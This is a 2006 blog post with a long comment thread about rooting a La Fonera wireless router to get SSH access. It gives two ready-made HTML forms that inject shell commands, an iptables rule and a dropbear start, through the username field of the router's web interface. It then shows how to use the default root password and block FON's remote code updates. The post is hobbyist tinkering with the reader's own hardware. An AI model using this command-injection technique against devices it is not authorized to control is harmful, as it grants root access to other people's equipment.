Yesterday I received my Fonera. The last two days i spend on trying to run an ssh daemon on it. After a lot of searching and surfing, i found finally with the help of this
two sites a way to force fonera run ssh. I will shortly sum up the hack, it worked successful with 0.7.1 r1 fon firmware (if you have the 0.7.1.2 firmware you have to
reset it.):
First you have to write to two html-pages which will inject code in your Fon-Router. Save the following code as step1.html:
<html>
<head>
</head>
<body>
<center>
<form method="post" action="http://192.168.10.1/cgi-bin/webif/connection.sh" enctype="multipart/form-data">
<input name="username" value="$(/usr/sbin/iptables -I INPUT 1 -p tcp --dport 22 -j ACCEPT)" size="68" >
<input type="submit" name="submit" value="Submit" onClick="{this.form.wifimode.value='";' + this.form.wifimode.value +';"'}" />
</form>
</body>
</html>
Save the next html code as step2.html.
<html>
<head>
</head>
<body>
<center>
<form method="post" action="http://192.168.10.1/cgi-bin/webif/connection.sh" enctype="multipart/form-data">
<input name="username" value="$(/etc/init.d/dropbear)" size="68" >
<input type="submit" name="submit" value="Submit" onClick="{this.form.wifimode.value='";' + this.form.wifimode.value +';"'}" />
</form>
</body>
</html>
Now connect to your MyPlace Network, open the both sites and just click on the "Submit" button(first at the step1.html then on the step2.html page). Open your favorite shell and connect to your router via ssh with username root and password admin.
ssh root@192.168.10.1
For enabling a permanent ssh access you have to move dropbear to S50 dropbear:
$> mv /etc/init.d/dropbear /etc/init.d/S50dropbear
In the
/etc/firewall.user you have to uncomment this lines:
# iptables -t nat -A prerouting_rule -i $WAN -p tcp --dport 22 -j ACCEPT
# iptables -A input_rule -i $WAN -p tcp --dport 22 -j ACCEPT
Now you should prevent Fon from executing received code, by editing
/bin/thinclient. You have to comment the last line and add another line, so that the last two lines look like this:
#. /tmp/.thinclient.sh
cp /tmp/.thinclient.sh /tmp/thinclient-$(date '+%Y%m%d-%H%M')
Now you have ssh daemon on your fonera.
btw: thanks a lot cologne.idle and "ПожалуйÑта не пойте под фанеру!"
Aschenbash0r Says,
Wednesday, November 29. 2006 at 14:31 (Link) (Reply)
=
Please do not sing under plywood!
I copy&pasted it into an online translator
kalkin Replied,
Wednesday, November 29. 2006 at 16:11 (Link) (Reply)
ARARAT Replied,
Sunday, March 11. 2007 at 21:41 (Link) (Reply)
Chance Says,
Thursday, November 30. 2006 at 21:14 (Reply)
kalkin Replied,
Thursday, November 30. 2006 at 23:54 (Reply)
Chance added this comment,
Friday, December 1. 2006 at 07:59 (Reply)
Thanks
matyas added this comment,
Thursday, December 28. 2006 at 18:06 (Reply)
I have just came accross your website. I have received a fonera too, and i have some (maybe stupid) questions: why is it good that i can have an SSH access to my fonera? what is the advantage of that? and why is it good for me that i prevent FON from executing code on my box?
thank you very much
Matyas (from Hungary)
Riku added this comment,
Monday, January 15. 2007 at 21:34 (Reply)
You can access to that Linux and make some changes. It's also more secure than just telnet.
> what is the advantage of that?
You can make changes.
> and why is it good for me that i prevent FON from executing code on my box?
It's security thing. FON box will execute every code it will receive from FON with out these hacks.
Jay Says,
Tuesday, December 12. 2006 at 08:55 (Reply)
Can anybody help me?
Fabs Says,
Tuesday, December 12. 2006 at 14:28 (Reply)
kalkin Replied,
Monday, December 18. 2006 at 18:20 (Reply)
geek added this comment,
Wednesday, February 21. 2007 at 13:45 (Reply)
instead of this:
#. /tmp/.thinclient.sh
cp /tmp/.thinclient.sh /tmp/thinclient-$(date '+%Y%m%d-%H%M')
use this:
if [ -s /tmp/.thinclient.sh ] ; then
for f in /tmp/thin* ; do
:
done
if [ -f "$f" ]; then
if [ $(md5sum /tmp/.thinclient.sh | cut -d ' ' -f 1) != $(md5sum `ls $f` | cut -d ' ' -f 1) ] ; then
cp /tmp/.thinclient.sh /tmp/thinclient-$(date '+%Y%m%d-%H%M')
fi
else
cp /tmp/.thinclient.sh /tmp/thinclient-$(date '+%Y%m%d-%H%M')
fi
fi
This way a new thinclient "log" will only be created if it differs from the last one and if it's not empty. Code isn't probably very beautiful, but it seems to work
kalkin added this comment,
Wednesday, February 21. 2007 at 17:24 (Reply)
fon-fan Replied,
Friday, January 5. 2007 at 16:02 (Link) (Reply)
do you have some more informations, links to threads on the forum?
am i right that linux 2.6 is the only thing to be ported ?
kalkin added this comment,
Friday, January 5. 2007 at 16:16 (Reply)
There is a forum thread about ddwrt on fonera.
Fabs Says,
Tuesday, December 12. 2006 at 15:53 (Reply)
Late Replied,
Saturday, December 16. 2006 at 09:08 (Link) (Reply)
futejia Says,
Friday, December 22. 2006 at 02:29 (Link) (Reply)
I am waiting for dd-wrt. Yeah!
Btw: the serial console sucks. I tried for more then two hours to use it.
Barol Replied,
Monday, December 25. 2006 at 20:02 (Reply)
Jimmi Says,
Saturday, December 23. 2006 at 21:26 (Reply)
Diese Sache muss man unterstützen, nicht
hacken !
futejia Replied,
Sunday, December 24. 2006 at 21:54 (Link) (Reply)
2) Ich glaube Google und Ebay haben genug geld. Die brauchen unsere Unterstützung nicht.
Stefan Tomanek Replied,
Saturday, December 30. 2006 at 09:42 (Link) (Reply)
http://stefans.datenbruch.de/lafonera/
and especially http://stefans.datenbruch.de/lafonera/whywedidit.shtml
It's not about sabotaging FON, it's about keeping in control of your network.
jarena Says,
Wednesday, January 3. 2007 at 23:30 (Reply)
jarena Replied,
Thursday, January 4. 2007 at 13:54 (Reply)
jarena Replied,
Thursday, January 4. 2007 at 14:04 (Reply)
At last the problem was La Fonera was taking too long to get an ip via DHCP, and while this is not done the public network can't be seen. I don't know is this is just normal, but I think so, because I read before the flash memory of La Fonera was quite slow, extending startup time.
Maurizio added this comment,
Friday, February 2. 2007 at 16:47 (Reply)
kalkin added this comment,
Friday, February 2. 2007 at 18:05 (Reply)
I have the same problem, if i'm changing from fixed ip to DHCP. The change take really long.
I've made experience that the best way in this cases is to restart the fonera.
Maurizio added this comment,
Friday, February 2. 2007 at 18:16 (Reply)
Normally, the DHCP server on my modem/router assigns IP addresses to other network devices in a few seconds. Besides that, I've tried to restart the Fonera, with no effect.
cable Says,
Thursday, February 1. 2007 at 14:40 (Reply)
You should change the web server address to 169.254.255.1 instead of 192.168.10.1. Both in the html page and the ssh session.
Rui Ponte Says,
Wednesday, February 7. 2007 at 22:29 (Reply)
kalkin Replied,
Thursday, February 8. 2007 at 13:41 (Reply)
You take something spiky (for example a pin) and press the reset-button, below the fonera, for 5sec. It should be reseted to the 0.7.1 firmware.
Torbar added this comment,
Saturday, February 10. 2007 at 05:16 (Link) (Reply)
Rui Ponte added this comment,
Wednesday, February 14. 2007 at 04:15 (Reply)
Stefan Tomanek added this comment,
Wednesday, February 14. 2007 at 07:50 (Link) (Reply)
There is a new hack (this time called "kolofonium"), however we are not releasing it until 0.7.1.2 has become widespread on new routers - otherwise, it would be wasted
Paul added this comment,
Friday, February 23. 2007 at 21:51 (Reply)
Tiago added this comment,
Thursday, February 15. 2007 at 16:36 (Reply)
Stefan Tomanek added this comment,
Thursday, February 15. 2007 at 17:45 (Link) (Reply)
Michael Henn Says,
Friday, February 16. 2007 at 05:04 (Reply)
Thanks for any help from anyone!
sp00nix Replied,
Friday, February 16. 2007 at 08:51 (Link) (Reply)
google the VI command list, its kinda confusing how to work
narmacil Says,
Sunday, February 18. 2007 at 07:21 (Reply)
@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that the RSA host key has just been changed.
The fingerprint for the RSA key sent by the remote host is
23:55:f0:ec:9e:61:24:e8:8e:a5:0d:79:f0:85:65:64.
Please contact your system administrator.
Add correct host key in /home/Administrator/.ssh/known_hosts to get rid of this
message.
Offending key in /home/Administrator/.ssh/known_hosts:1
RSA host key for 192.168.10.1 has changed and you have requested strict checking
.
Host key verification failed.
narmacil Replied,
Sunday, February 18. 2007 at 07:59 (Reply)
Smiley Says,
Friday, February 23. 2007 at 17:25 (Reply)
kalkin Replied,
Friday, February 23. 2007 at 23:24 (Reply)
Josh Says,
Saturday, February 24. 2007 at 04:49 (Reply)
kalkin Replied,
Saturday, February 24. 2007 at 13:13 (Reply)
Antonio Says,
Saturday, February 24. 2007 at 12:05 (Link) (Reply)
Hope you enjoy ...and improve
Antonio
Wenle Says,
Saturday, February 24. 2007 at 18:51 (Link) (Reply)
$> mv /etc/init.d/dropbear /etc/init.d/S50dropbear
it responds -ash: $: not found
what does that mean? should i continue to second command?
kalkin Replied,
Saturday, February 24. 2007 at 19:34 (Reply)
mv /etc/init.d/dropbear /etc/init.d/S50dropbear
Takenover83 Says,
Sunday, February 25. 2007 at 05:06 (Reply)
I have my Fonera hooked up to a WRT54GS.
Also what local webserver work ok with this guide? I tried a couple, but got error's when using wget.
For example.
Using "wget http://127.0.0.1/nameofthefile" just gives me a forbidden type of error.
But when I test the same link in a webbrowser, the webserver works just fine and allows me to download.
Paul Replied,
Sunday, February 25. 2007 at 07:42 (Reply)
Paul Says,
Sunday, February 25. 2007 at 07:45 (Reply)
i was absolutely convinced that my router was 7.1.2 firmware, but after pulling my fon open (easy!) and looking, yup, 7.1.1. use coldtobi's page to reset the right way, and you'll be able to play soon yourself!
john earthquake Says,
Thursday, March 1. 2007 at 12:30 (Reply)
kalkin Replied,
Thursday, March 1. 2007 at 13:00 (Reply)
Popup2u Says,
Friday, March 2. 2007 at 14:55 (Reply)
dltv Says,
Tuesday, March 6. 2007 at 09:45 (Link) (Reply)
Most importantly can you connect to the router via the Ethernet port with DDWRT? or does it have to be wirelessly? because i cant connect to 192.168.1.1
or whatever the right ip is i still cant connect to the DDWRT interface via ethernet cable only wirelessly
Wrote a tutorial on hacking it at dltv.wordpress.com
grazzt Says,
Tuesday, March 6. 2007 at 19:58 (Reply)
I dont have any wifi cards yet.
I see the 192.168.* is for the wifi side.
The manual states to set static ip for nic to 169.254.255.2. When I do this, I can check the status of the fon by going to http://169.254.255.1 (and showing 0.71 r1 as the firmware).
Any help would be appreciated.
Thanks
grazzt Replied,
Tuesday, March 6. 2007 at 20:36 (Reply)
ANd it worked!
ssd Says,
Thursday, March 8. 2007 at 01:26 (Reply)
yea Replied,
Monday, March 12. 2007 at 01:42 (Reply)
dna Says,
Monday, March 12. 2007 at 13:01 (Link) (Reply)
anyone send me e-mail that attached it?
kalkin Replied,
Monday, March 12. 2007 at 14:28 (Reply)
jeff Says,
Monday, March 12. 2007 at 20:10 (Link) (Reply)
Muhammad Waqas Says,
Tuesday, March 13. 2007 at 09:19 (Link) (Reply)
dltv Says,
Tuesday, March 13. 2007 at 19:31 (Link) (Reply)
Gives some networking advice.
grazzy Says,
Wednesday, March 14. 2007 at 19:22 (Link) (Reply)
Then the FON listens to port 8080 on the wan side.
Hope this helps anyone.
Jürgen Says,
Saturday, March 17. 2007 at 23:55 (Link) (Reply)
Strafverteidiger München Says,
Friday, April 20. 2007 at 17:41 (Link) (Reply)
http://dltv.wordpress.com/off-the-wall/a-guide-to-hacking-the-la-fonera-wireless-router/
But as well a helpfull information.
Strafverteidiger Freiburg Says,
Thursday, April 26. 2007 at 18:59 (Link) (Reply)
eric Says,
Saturday, February 16. 2008 at 01:01 (Link) (Reply)
http://www.fonerahacks.com
kenjiru Says,
Wednesday, May 14. 2008 at 17:39 (Link) (Reply)
Any idea what to do now?
Computmaxer Says,
Monday, July 7. 2008 at 17:52 (Reply)
www.fonerahacks.com
nglrossi Says,
Thursday, February 12. 2009 at 16:37 (Reply)
I am about to install dd-wrt now.
Angelo